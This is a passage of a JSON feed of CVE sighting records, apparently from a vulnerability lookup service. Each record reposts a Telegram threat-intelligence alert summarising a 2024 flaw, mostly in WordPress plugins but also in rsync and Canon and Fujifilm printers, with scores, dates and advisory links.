https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3227956%40infographic-and-list-builder-ilist&new=3227956%40infographic-and-list-builder-ilist&sfp_email=&sfph_mail=\n5. https://www.wordfence.com/threat-intel/vulnerabilities/id/0aa21fad-4dd0-4ccd-a325-de3532a6ffaf?source=cve", "creation_timestamp": "2025-01-31T13:15:03.000000Z"}, {"uuid": "9256242b-b8f1-4380-8627-a834bd87d6cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12267", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3650", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12267\n\ud83d\udd25 CVSS Score: 5.3 (CVSS_V3)\n\ud83d\udd39 Description: The Drag and Drop Multiple File Upload \u2013 Contact Form 7 plugin for WordPress is vulnerable to limited arbitrary file deletion due to insufficient file path validation in the dnd_codedropz_upload_delete() function in all versions up to, and including, 1.3.8.5. This makes it possible for unauthenticated attackers to delete limited arbitrary files on the server. It is not possible to delete files like wp-config.php that would make RCE possible.\n\ud83d\udccf Published: 2025-01-31T12:33:02Z\n\ud83d\udccf Modified: 2025-01-31T12:33:02Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12267\n2. https://plugins.trac.wordpress.org/changeset/3231973/drag-and-drop-multiple-file-upload-contact-form-7/trunk/inc/dnd-upload-cf7.php\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/00ec7251-3be1-411a-b38e-1782d1691e18?source=cve", "creation_timestamp": "2025-01-31T13:15:01.000000Z"}, {"uuid": "d6c727bc-9908-487f-af64-1b4ac9ded9a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12085", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3368", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12085\n\ud83d\udd25 CVSS Score: 7.5 (CVSS_V3)\n\ud83d\udd39 Description: A flaw was found in the rsync daemon which could be triggered when rsync compares file checksums. This flaw allows an attacker to manipulate the checksum length (s2length) to cause a comparison between a checksum and uninitialized memory and leak one byte of uninitialized stack data at a time.\n\ud83d\udccf Published: 2025-01-14T18:32:00Z\n\ud83d\udccf Modified: 2025-01-29T09:31:42Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12085\n2. https://access.redhat.com/errata/RHSA-2025:0324\n3. https://access.redhat.com/errata/RHSA-2025:0325\n4. https://access.redhat.com/errata/RHSA-2025:0637\n5. https://access.redhat.com/errata/RHSA-2025:0688\n6. https://access.redhat.com/errata/RHSA-2025:0714\n7. https://access.redhat.com/errata/RHSA-2025:0774\n8. https://access.redhat.com/errata/RHSA-2025:0787\n9. https://access.redhat.com/security/cve/CVE-2024-12085\n10. https://bugzilla.redhat.com/show_bug.cgi?id=2330539\n11. https://kb.cert.org/vuls/id/952657", "creation_timestamp": "2025-01-29T10:10:09.000000Z"}, {"uuid": "980d34c5-15ca-4df6-9c78-f9ac2ff941f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12097", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/6542", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12097\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Boceksoft Informatics E-Travel allows SQL Injection.This issue affects E-Travel: before 15.12.2025.\n\ud83d\udccf Published: 2025-03-05T13:18:27.902Z\n\ud83d\udccf Modified: 2025-03-05T13:18:27.902Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0053", "creation_timestamp": "2025-03-05T13:35:03.000000Z"}, {"uuid": "82e4ed7e-fde1-4d82-988a-4a16bb78e7db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12826", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3051", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12826\n\ud83d\udd39 Description: The GoHero Store Customizer for WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the wooh_action_settings_save_frontend() function in all versions up to, and including, 3.5. This makes it possible for unauthenticated attackers to update limited plugin settings.\n\ud83d\udccf Published: 2025-01-25T07:24:20.241Z\n\ud83d\udccf Modified: 2025-01-25T07:24:20.241Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/f65ee908-004f-4526-aeca-41b36522bb30?source=cve\n2. https://wordpress.org/plugins/personalize-woocommerce-cart-page/", "creation_timestamp": "2025-01-25T08:05:26.000000Z"}, {"uuid": "f02392b6-e7a5-46c3-92d2-95fa9fd50858", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12816", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3069", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12816\n\ud83d\udd39 Description: The NOTICE BOARD BY TOWKIR plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'notice-board' shortcode in all versions up to, and including, 3.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-25T07:24:12.913Z\n\ud83d\udccf Modified: 2025-01-25T07:24:12.913Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/069b2f3e-da9d-476c-a9fa-1b7d445a704b?source=cve\n2. https://plugins.trac.wordpress.org/browser/notice-board-by-towkir/trunk/towkir-notice-board.php\n3. https://wordpress.org/plugins/notice-board-by-towkir/", "creation_timestamp": "2025-01-25T08:05:50.000000Z"}, {"uuid": "8ea2d439-1dec-400c-8272-7910db775ac0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12512", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3068", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12512\n\ud83d\udd39 Description: The Ask Me Anything (Anonymously) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'askmeanythingpeople' shortcode in all versions up to, and including, 1.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-25T07:24:13.494Z\n\ud83d\udccf Modified: 2025-01-25T07:24:13.494Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/0f204d39-8a4a-4008-adc6-3ba72531f5a2?source=cve\n2. https://wordpress.org/plugins/ask-me-anything-anonymously/", "creation_timestamp": "2025-01-25T08:05:50.000000Z"}, {"uuid": "f28725d0-e268-4627-87ed-c67c2f272533", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12600", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3049", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12600\n\ud83d\udd39 Description: The Custom Product Tabs Lite for WooCommerce plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.9.0 via deserialization of untrusted input from the 'frs_woo_product_tabs' parameter. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.\n\ud83d\udccf Published: 2025-01-25T06:40:38.874Z\n\ud83d\udccf Modified: 2025-01-25T06:40:38.874Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/33c16b47-3202-4f26-bf45-98172b8cac45?source=cve\n2. https://plugins.trac.wordpress.org/browser/woocommerce-custom-product-tabs-lite/trunk/woocommerce-custom-product-tabs-lite.php#L372\n3. https://plugins.trac.wordpress.org/changeset/3226839/", "creation_timestamp": "2025-01-25T07:05:17.000000Z"}, {"uuid": "a1233237-de37-4c2a-9888-1a505108dd78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12817", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3056", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12817\n\ud83d\udd39 Description: The Etsy Importer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'product_link' shortcode in all versions up to, and including, 1.4.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-25T07:24:18.188Z\n\ud83d\udccf Modified: 2025-01-25T07:24:18.188Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b9d77b08-3a4a-441b-8725-fd93744de73c?source=cve\n2. https://plugins.trac.wordpress.org/browser/etsy-importer/trunk/includes/shortcodes.php\n3. https://wordpress.org/plugins/etsy-importer/", "creation_timestamp": "2025-01-25T08:05:34.000000Z"}, {"uuid": "026d5706-3b4b-4b5c-8d5b-5ac1a3585973", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12113", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3061", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12113\n\ud83d\udd39 Description: The Youzify \u2013 BuddyPress Community, User Profile, Social Network & Membership Plugin for WordPress plugin for WordPress is vulnerable to unauthorized loss of data due to a missing capability check on the delete_user_review() and delete_review() functions in all versions up to, and including, 1.3.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete other user's reviews.\n\ud83d\udccf Published: 2025-01-25T07:24:16.273Z\n\ud83d\udccf Modified: 2025-01-25T07:24:16.273Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/977e407c-0650-454f-98bd-b39bb8c8c61f?source=cve\n2. https://wordpress.org/plugins/youzify/", "creation_timestamp": "2025-01-25T08:05:41.000000Z"}, {"uuid": "755552a8-dd78-433d-8da3-eefa44106289", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3224", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12647\n\ud83d\udd25 CVSS Score: 9.8 (CVSS_V3)\n\ud83d\udd39 Description: Buffer overflow in CPCA font download processing of Small Office Multifunction Printers and Laser Printers(*) which may allow an attacker on the network segment to trigger the affected product being unresponsive or to execute arbitrary code. *: Satera MF656Cdw/Satera MF654Cdw firmware v05.04 and earlier sold in Japan. Color imageCLASS MF656Cdw/Color imageCLASS MF654Cdw/Color imageCLASS MF653Cdw/Color imageCLASS MF652Cdw/Color imageCLASS LBP633Cdw/Color imageCLASS LBP632Cdw firmware v05.04 and earlier sold in US. i-SENSYS MF657Cdw/i-SENSYS MF655Cdw/i-SENSYS MF651Cdw/i-SENSYS LBP633Cdw/i-SENSYS LBP631Cdw firmware v05.04 and earlier sold in Europe.\n\ud83d\udccf Published: 2025-01-28T03:31:13Z\n\ud83d\udccf Modified: 2025-01-28T03:31:13Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12647\n2. https://canon.jp/support/support-info/250127vulnerability-response\n3. https://psirt.canon/advisory-information/cp2025-001\n4. https://www.canon-europe.com/support/product-security/#news\n5. https://www.usa.canon.com/support/canon-product-advisories/service-notice-regarding-vulnerability-measure-against-buffer-overflow-for-laser-printers-and-small-office-multifunctional-printers", "creation_timestamp": "2025-01-28T04:09:26.000000Z"}, {"uuid": "c098d5ad-97fa-4adc-b13e-db709f7c04fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12076", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3067", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12076\n\ud83d\udd39 Description: The Target Video Easy Publish plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.8.3. This is due to missing or incorrect nonce validation on the resync_carousel(), seek_snapshot(), uploaded_cc(), and remove_cc() functions. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-25T07:24:13.906Z\n\ud83d\udccf Modified: 2025-01-25T07:24:13.906Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/192b8ab0-f80e-4c0e-9cc0-df567d5791a8?source=cve\n2. https://plugins.trac.wordpress.org/browser/brid-video-easy-publish/trunk/lib/BridHtml.php#L465\n3. https://plugins.trac.wordpress.org/browser/brid-video-easy-publish/trunk/lib/BridHtml.php#L489\n4. https://plugins.trac.wordpress.org/browser/brid-video-easy-publish/trunk/lib/BridHtml.php#L1169\n5. https://plugins.trac.wordpress.org/browser/brid-video-easy-publish/trunk/lib/BridHtml.php#L1185\n6. https://wordpress.org/plugins/brid-video-easy-publish/#developers\n7. https://plugins.trac.wordpress.org/changeset/3226143/", "creation_timestamp": "2025-01-25T08:05:49.000000Z"}, {"uuid": "d43da4f2-683c-4641-a6e5-199f409214db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12807", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3243", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12807\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-28T06:15:31.680\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/fcce0839-bb1d-4aa3-b236-ff5f5e9b6120/", "creation_timestamp": "2025-01-28T07:17:09.000000Z"}, {"uuid": "a4ba6b1b-4e1f-4a85-a7a2-6fed1211e12b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12749", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3364", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12749\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-29T06:15:30.387\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/478316b9-9f47-4aa6-92c6-03879f16a3e5/", "creation_timestamp": "2025-01-29T07:18:13.000000Z"}, {"uuid": "8c86c440-0979-48d5-aab3-eb2f16f413c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12708", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3447", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12708\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Bulk Me Now! WordPress plugin through 2.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\ud83d\udccf Published: 2025-01-30T06:30:50Z\n\ud83d\udccf Modified: 2025-01-30T06:30:50Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12708\n2. https://wpscan.com/vulnerability/8f30a37e-b9d0-467b-a0e3-20dc0a9f2b61", "creation_timestamp": "2025-01-30T07:11:23.000000Z"}, {"uuid": "7ea984ee-c0be-4f94-b985-59f60d5972a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12321", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3162", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: GHSA-mj6j-32rm-jv58\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The WC Affiliate  WordPress plugin through 2.3.9 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-01-27T06:30:26Z\n\ud83d\udccf Modified: 2025-01-27T06:30:26Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12321\n2. https://wpscan.com/vulnerability/d4c55d30-1c15-41ee-95e0-670891d67684", "creation_timestamp": "2025-01-27T07:07:49.000000Z"}, {"uuid": "731faf20-1484-4280-b973-2916f9b17b53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12921", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3446", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12921\n\ud83d\udd25 CVSS Score: 6.2 (CVSS_V3)\n\ud83d\udd39 Description: The EthereumICO plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's ethereum-ico shortcode in all versions up to, and including, 2.4.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-30T06:30:50Z\n\ud83d\udccf Modified: 2025-01-30T06:30:50Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12921\n2. https://plugins.trac.wordpress.org/changeset/3230122/ethereumico\n3. https://www.wordfence.com/threat-intel/vulnerabilities/id/d964c99c-6ab6-453c-969f-66d5cd00dc8e?source=cve", "creation_timestamp": "2025-01-30T07:11:22.000000Z"}, {"uuid": "be6afa36-4525-4fe5-b6c5-62cb19b39373", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12400", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3451", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12400\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The tourmaster WordPress plugin before 5.3.5 does not escape generated URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting.\n\ud83d\udccf Published: 2025-01-30T06:30:49Z\n\ud83d\udccf Modified: 2025-01-30T06:30:49Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12400\n2. https://wpscan.com/vulnerability/3542315c-93c3-41dd-a99e-02a38cfd58fb", "creation_timestamp": "2025-01-30T07:11:29.000000Z"}, {"uuid": "9702c979-f72f-42c2-b3d4-ba62d2a1f0d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12400", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3461", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12400\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: No description available\n\ud83d\udccf Published: 2025-01-30T06:15:29.223\n\ud83d\udccf Modified: N/A\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/3542315c-93c3-41dd-a99e-02a38cfd58fb/", "creation_timestamp": "2025-01-30T07:18:51.000000Z"}, {"uuid": "5ad34fd8-87e0-421f-820d-e8e28acfbaae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12773", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3158", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: GHSA-v9f7-mhwh-hfh9\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Altra Side Menu WordPress plugin through 2.0 does not sanitize and escape a parameter before using it in a SQL statement, allowing admins to perform SQL injection attacks\n\ud83d\udccf Published: 2025-01-27T06:30:26Z\n\ud83d\udccf Modified: 2025-01-27T06:30:26Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12773\n2. https://wpscan.com/vulnerability/fab64105-599f-49a4-b01d-c873ff34b590", "creation_timestamp": "2025-01-27T07:07:46.000000Z"}, {"uuid": "f1a49dd8-3728-422c-82dc-ae7caddbe9ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12807", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3239", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12807\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Social Share Buttons for WordPress plugin through 2.7 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-01-28T06:30:40Z\n\ud83d\udccf Modified: 2025-01-28T06:30:40Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12807\n2. https://wpscan.com/vulnerability/fcce0839-bb1d-4aa3-b236-ff5f5e9b6120", "creation_timestamp": "2025-01-28T07:08:47.000000Z"}, {"uuid": "c3dd7903-a7e1-48e2-9ac3-7d377362e238", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12782", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5535", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12782\n\ud83d\udd25 CVSS Score: 6.9 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability has been found in Fujifilm Apeos C3070, Apeos C5570 and Apeos C6580 up to 24.8.28 and classified as critical. This vulnerability affects unknown code of the file /home/index.html#hashHome of the component Web Interface. The manipulation leads to improper authorization. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The real existence of this vulnerability is still doubted at the moment. The vendor explains that \"during technical verification it is not possible to reproduce any active actions like reboots which were mentioned in the original researcher disclosure.\"\n\ud83d\udccf Published: 2024-12-19T12:31:07.155Z\n\ud83d\udccf Modified: 2025-02-26T15:54:01.223Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.288958\n2. https://vuldb.com/?ctiid.288958\n3. https://vuldb.com/?submit.458897\n4. https://www.fujifilm.com/fbglobal/eng/company/news/notice/2024/1226_announce.html", "creation_timestamp": "2025-02-26T16:24:33.000000Z"}, {"uuid": "bd963e9b-9e47-4993-8d7a-5fdb100be70d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12280", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3174", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: GHSA-f39m-g6qq-h3xv\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The WP Customer Area WordPress plugin through 8.2.4 does not have CSRF check in place when deleting its logs, which could allow attackers to make a logged in to delete them via a CSRF attack\n\ud83d\udccf Published: 2025-01-27T06:30:24Z\n\ud83d\udccf Modified: 2025-01-27T06:30:24Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12280\n2. https://wpscan.com/vulnerability/2b32c0b8-28bb-4220-800b-4c369bca91c5", "creation_timestamp": "2025-01-27T07:08:07.000000Z"}, {"uuid": "277cbd63-52d5-4b3a-8b82-b6a089b84b57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12723", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3233", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12723\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Infility Global WordPress plugin through 2.9.8 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-01-28T06:30:40Z\n\ud83d\udccf Modified: 2025-01-28T06:30:40Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12723\n2. https://wpscan.com/vulnerability/d9053b8b-c05c-42fd-913e-f85c799df807", "creation_timestamp": "2025-01-28T07:08:39.000000Z"}, {"uuid": "6203c1b5-d120-42eb-91e4-9013f8e0b77e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3229", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12649\n\ud83d\udd25 CVSS Score: 9.8 (CVSS_V3)\n\ud83d\udd39 Description: Buffer overflow in XPS data font processing of Small Office Multifunction Printers and Laser Printers(*) which may allow an attacker on the network segment to trigger the affected product being unresponsive or to execute arbitrary code. *: Satera MF656Cdw/Satera MF654Cdw firmware v05.04 and earlier sold in Japan. Color imageCLASS MF656Cdw/Color imageCLASS MF654Cdw/Color imageCLASS MF653Cdw/Color imageCLASS MF652Cdw/Color imageCLASS LBP633Cdw/Color imageCLASS LBP632Cdw firmware v05.04 and earlier sold in US. i-SENSYS MF657Cdw/i-SENSYS MF655Cdw/i-SENSYS MF651Cdw/i-SENSYS LBP633Cdw/i-SENSYS LBP631Cdw firmware v05.04 and earlier sold in Europe.\n\ud83d\udccf Published: 2025-01-28T03:31:13Z\n\ud83d\udccf Modified: 2025-01-28T03:31:13Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-12649\n2. https://canon.jp/support/support-info/250127vulnerability-response\n3. https://psirt.canon/advisory-information/cp2025-001\n4. https://www.canon-europe.com/support/product-security/#news\n5. https://www.usa.canon.com/support/canon-product-advisories/service-notice-regarding-vulnerability-measure-against-buffer-overflow-for-laser-printers-and-small-office-multifunctional-printers", "creation_timestamp": "2025-01-28T04:09:33.000000Z"}, {"uuid": "05eab25e-217a-4051-97d5-28055ebbc018", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/3226", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12648\n\ud83d\udd25 